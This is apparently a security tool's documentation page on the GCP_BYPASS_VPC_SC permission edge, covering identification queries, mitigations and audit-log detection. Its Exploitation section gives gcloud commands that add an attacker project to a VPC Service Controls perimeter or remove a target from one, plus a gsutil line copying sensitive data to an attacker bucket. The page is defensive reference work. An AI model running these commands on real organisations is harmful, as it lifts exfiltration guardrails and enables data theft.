Skip to content

GCP_BYPASS_VPC_SC

Copy page

Summary

Forestall ACL Alias GCP_BYPASS_VPC_SC
GCP Alias Guardrail Bypass & Destruction
Affected Object Types Organizations, Folders, Projects
Exploitation Certainty Certain
Granting Roles roles/accesscontextmanager.policyAdmin

Description

GCP_BYPASS_VPC_SC indicates that an identity can modify VPC Service Controls (VPC-SC) perimeters and Access Context Manager policies. VPC-SC creates security perimeters around GCP APIs, preventing data from leaving the perimeter even if IAM allows it — it is often the primary data exfiltration guardrail in regulated environments.

An attacker with this edge can add themselves (or an attacker-controlled project) to a VPC-SC perimeter, modify ingress/egress rules, or create access levels that match the attacker’s identity. This is particularly high-impact because VPC-SC is frequently the last line of defence against data exfiltration even after IAM compromise.

Key abuse scenarios:

  • Add an attacker-controlled project to the perimeter → data can now flow freely to that project.
  • Remove a target project from its perimeter → all VPC-SC restrictions on that project are lifted.
  • Create a permissive access level matching the attacker’s IP or identity → bypass all perimeter restrictions.
  • Modify ingress rules to allow API calls from an attacker-controlled network.

Identification

gcloud CLI

# Find who has Access Context Manager policy admin at org level
ORG_ID=$(gcloud organizations list --format="value(name)" | head -1)
gcloud organizations get-iam-policy $ORG_ID --format=json | \
jq '.bindings[] | select(.role | test("accesscontextmanager.policyAdmin")) | {role: .role, members: .members}'
# List all VPC-SC service perimeters
POLICY_NAME=$(gcloud access-context-manager policies list --organization=$ORG_ID --format="value(name)")
gcloud access-context-manager perimeters list \
--policy=$POLICY_NAME \
--format="table(name, title, status.resources, status.restrictedServices)"
# List access levels referenced by perimeters
gcloud access-context-manager levels list \
--policy=$POLICY_NAME \
--format="table(name, title, basic.conditions)"

Exploitation

gcloud CLI

ORG_ID=$(gcloud organizations list --format="value(name)" | head -1)
POLICY_NAME=$(gcloud access-context-manager policies list --organization=$ORG_ID --format="value(name)")
PERIMETER_NAME="secure-perimeter"
# Add an attacker-controlled project to the perimeter — data can now flow to that project
ATTACKER_PROJECT_NUMBER=$(gcloud projects describe attacker-project --format="value(projectNumber)")
gcloud access-context-manager perimeters update $PERIMETER_NAME \
--policy=$POLICY_NAME \
--add-resources="projects/${ATTACKER_PROJECT_NUMBER}"

Remove a target project from its perimeter to lift all VPC-SC restrictions on it:

TARGET_PROJECT_NUMBER=$(gcloud projects describe target-project --format="value(projectNumber)")
gcloud access-context-manager perimeters update $PERIMETER_NAME \
--policy=$POLICY_NAME \
--remove-resources="projects/${TARGET_PROJECT_NUMBER}"
# Now exfiltrate data from the unprotected project
gsutil cp gs://sensitive-bucket/data.csv gs://attacker-bucket/

Compound path: GCP_BYPASS_VPC_SC → add attacker project to VPC-SC perimeter → exfiltrate data from protected GCS buckets, BigQuery datasets, or Secret Manager secrets directly to an attacker-controlled project.

Mitigation

  1. Restrict roles/accesscontextmanager.policyAdmin — this role should be held by at most one or two break-glass accounts with MFA enforcement.
  2. Manage perimeter changes via code review — treat perimeter modifications as infrastructure code requiring peer approval before deployment.
  3. Use dry-run mode before enforcing any perimeter change.
  4. Set up Pub/Sub notifications for perimeter modification events to enable real-time detection.

Detection

Log Type Method Key Fields
Admin Activity UpdateServicePerimeter Perimeter resource, project additions/removals
Admin Activity CreateAccessLevel UpdateAccessLevel New or modified access level
ORG_ID=$(gcloud organizations list --format="value(name)" | head -1)
gcloud logging read \
'protoPayload.methodName=~"UpdateServicePerimeter|CreateServicePerimeter|DeleteServicePerimeter|CreateAccessLevel|UpdateAccessLevel"' \
--organization=$ORG_ID \
--format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.methodName, protoPayload.resourceName)"

Alert on:

  • New projects added to VPC-SC perimeters outside of known deployment pipelines.
  • Projects removed from perimeters.
  • Access level changes that broaden the set of identities or networks that satisfy the level.
  • Perimeter mode changes from ENFORCED to DRY_RUN.

References

Was this page helpful?

Thank you for your feedback.